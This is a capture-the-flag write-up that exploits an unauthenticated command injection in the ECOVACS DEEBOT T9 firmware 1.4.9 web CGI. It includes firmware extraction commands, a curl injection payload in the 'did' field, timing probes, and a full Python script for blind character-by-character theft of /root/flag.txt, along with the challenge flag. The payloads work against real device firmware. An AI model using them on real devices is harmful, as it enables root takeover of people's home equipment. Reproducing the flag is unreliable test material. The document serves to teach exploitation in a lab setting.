Clean Sweep
ECOVACS DEEBOT T9 firmware 1.4.9 — `reqDo`'s JSON command dispatcher builds a string with `sprintf` and hands it to `popen()`
NNS{tHi5_1s_0lD_f1Rmw4re_50_0fc_this_i5_e45Y_for_y0u} Description: The NNS house has never been cleaner, but our old ECOVACS DEEBOT T9 AIVI is still running firmware 1.4.9 from 2021. We extracted the web CGI from that firmware and are hosting it here for you. The floors may be spotless. The firmware is another story. Can you sweep through it and get root?
Target: live instancer, https://clean-sweep-<id>.chall.nnsc.tf (nginx
in front of the real device’s GoAhead web server), flag at /root/flag.txt.
No file was attached to the challenge — only the running instance.
Recon
Every request to the instance returns HTTP 200 with an empty
application/json body, regardless of path — including totally
nonexistent paths. This is GoAhead’s own catch-all handler (confirmed by the
Server: nginx/1.22.1 header plus GoAhead’s distinctive
Unsupported method / Document Error: Not Found text on a couple of
prefixes), so a normal 200-vs-404 directory scan is useless for finding the
real endpoint — almost everything “succeeds” and is fake.
The only way to fingerprint anything real is to look for GoAhead’s genuine 404 page, which only fires for a handful of prefixes (anything that isn’t handled by the generic fallback route).
Getting the real firmware
The description gives away the exact target: ECOVACS DEEBOT T9 AIVI,
firmware 1.4.9. That firmware is downloadable for real, since ECOVACS
serves it straight from their OTA API. Using
denysvitali/ecovacs-firmware-tools
(model id 659yh8 = DEEBOT T9 AIVI):
go build -o ecovacs-firmware-tools .
./ecovacs-firmware-tools download --models 659yh8 --download -o fw_download
./ecovacs-firmware-tools decrypt -o fw_extracted fw_download/659yh8_fw0_v1.4.9_*.bin
This pulls down 659yh8_fw0_v1.4.9_1de7de90.bin (59,611,104 bytes) and
decrypts it (AES-128-CBC, per-section keys) into 6 sections — manifest,
pre/post-upgrade scripts, normal_boot.bin, normal_fs.img, mcu.img.
manifest.json confirms "fw_ver": "1.4.9", "product": "T9AF_px30" — an
exact match for the challenge.
normal_fs.img is a SquashFS image:
unsquashfs -d rootfs fw_extracted/normal_fs.img
Inside rootfs/etc/www/ sits the real local web server config:
reqDo— an unstripped ARM64 ELF, the actual CGI binaryroute.txt— GoAhead route tableauth.txt— a hardcoded userjoshua(bcrypt-ish hash, unused here)
route.txt:
route uri=/action handler=action
route uri=/ extensions=jst,asp handler=jst
route uri=/ extension=cgi|fcgi|mycgi handler=cgi
route uri=/ methods=OPTIONS|TRACE handler=options
route uri=/auth/basic/ auth=basic abilities=create,edit,view
route uri=/ auth=form handler=continue redirect=401@/pub/login.html
Any URL ending in .cgi/.fcgi/.mycgi gets forked to the matching file
under the web root as a classic CGI process (REQUEST_METHOD,
CONTENT_TYPE, CONTENT_LENGTH env vars — confirmed by strings reqDo).
Everything else falls through to the generic catch-all — exactly the
behavior observed on the live instance. So the real target endpoint on the
live CTF box is simply /reqDo.cgi (the firmware ships the binary
without the extension; the challenge’s deployment serves it under that
name).
The vulnerability
strings reqDo reveals a JSON-driven command dispatcher (td field
selects the action: GetWCInfo, GetDevInfo, GetCredential,
GetNetworkLog, SetApConfig, SetFct), which builds a shell command line
via unsanitized sprintf/format strings and runs it through popen():
td=SetFct did=%s password=%s type=%s sc=%d lb=%s %s
td="SetApConfig" SSID="%s" PASSPHRASE="%s" sc="%s" sck2="%s" lb="%s" %s
did, password, type, lb (and the SetApConfig fields) are spliced
straight into the command string with no escaping — classic unauthenticated
OS command injection, and reqDo runs as root.
curl -s https://clean-sweep-<id>.chall.nnsc.tf/reqDo.cgi \
-H 'Content-Type: application/json' \
-d '{"td":"SetFct","did":"x;id;x","password":"x","type":"x","lb":"x"}'
Blind exfiltration
The HTTP response body is always empty (confirmed even for legitimate
Get* queries) — this environment strips all output, so it’s a fully blind
injection. The only usable oracle is timing: append sleep N to the
injected payload and measure the round-trip time.
did = x;sleep 5;x -> ~5s slower than baseline => shell executes
did = x;id | grep -q root && sleep 4;x -> delayed => running as root
did = x;test -r /root/flag.txt && sleep 4;x -> delayed => flag is readable
From there, a per-character blind extraction against /root/flag.txt,
comparing with a cut -c$i + string equality gated by sleep:
import requests, time
URL = "https://clean-sweep-<id>.chall.nnsc.tf/reqDo.cgi"
CHARSET = ("ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz0123456789_{}-!@#.,:;+=()"
"% ^&*<>?~|/[]")
def probe(did, timeout=6):
t0 = time.time()
try:
requests.post(URL, json={"td": "SetFct", "did": did,
"password": "x", "type": "x", "lb": "x"},
timeout=timeout)
except requests.exceptions.Timeout:
return False
return time.time() - t0 > 1.5
def shq(c): # single-quote the candidate so no shell metachar needs escaping
return "\"'\"" if c == "'" else f"'{c}'"
flag = ""
i = 1
while True:
found = None
for c in CHARSET:
cmd = f'x;v=$(cut -c{i} /root/flag.txt); [ "$v" = {shq(c)} ] && sleep 3;x'
if probe(cmd):
found = c
break
if found is None:
break
flag += found
i += 1
print(flag)
Single-quoting the candidate character (instead of double-quoting +
backslash-escaping) turned out to matter a lot in practice: with
double-quote escaping, a handful of characters (a literal 0, in this run)
produced silent false negatives — almost certainly a quoting edge case
between the JS→JSON→C-JSON-parser→popen chain — which cost a lot of time
chasing a “missing” character that was actually just mis-escaped. Wrapping
the candidate in single quotes sidesteps virtually all shell metacharacter
issues (backtick, $, \, " all become inert) and was fully reliable.
Two more practical gotchas:
- The CGI backend appears to be single-threaded/serialized — firing off requests without adequate pacing (or leaving an unbounded background loop running while doing something else) causes later requests to queue up behind earlier ones, making the timing oracle look like every candidate is “true.” Always pace requests (≥300 ms) and never have two extraction loops running concurrently against the same instance.
- Always wrap the timing probe in a client-side
AbortController/timeout. A malformed injected command (e.g. an unbalanced quote) can make the spawned shell hang indefinitely; without a hard client-side timeout this wedges the tab (and, if the server truly serializes requests, can look like the whole instance died — restarting the instancer fixes it, but it’s better to never hang in the first place).
Flag
NNS{tHi5_1s_0lD_f1Rmw4re_50_0fc_this_i5_e45Y_for_y0u}
(“this is old firmware, so ofc this is easy for you”)